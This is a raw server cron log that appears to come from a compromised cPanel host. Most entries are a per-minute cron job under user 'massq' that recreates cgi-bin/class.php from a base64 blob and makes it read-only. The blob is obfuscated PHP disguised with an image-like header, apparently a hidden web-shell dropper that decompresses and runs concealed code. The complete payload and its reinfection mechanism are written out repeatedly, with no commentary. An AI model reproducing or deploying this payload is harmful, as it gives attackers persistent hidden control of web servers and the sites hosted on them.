Nov 11 10:31:01 server CROND[19447]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:32:01 server CROND[20211]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:33:01 server CROND[21037]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:34:01 server CROND[21872]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:35:01 server CROND[22701]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:35:01 server CROND[22699]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 10:35:01 server CROND[22700]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 10:35:01 server CROND[22702]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 10:35:01 server CROND[22703]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:36:01 server CROND[23375]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:37:01 server CROND[24232]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:38:01 server CROND[25070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:39:01 server CROND[25892]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:39:01 server CROND[25893]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 10:40:01 server CROND[26588]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 10:40:01 server CROND[26587]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 10:40:01 server CROND[26590]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:40:01 server CROND[26589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:41:01 server CROND[27209]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:42:01 server CROND[27860]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:42:01 server CROND[27861]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 10:43:01 server CROND[28259]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
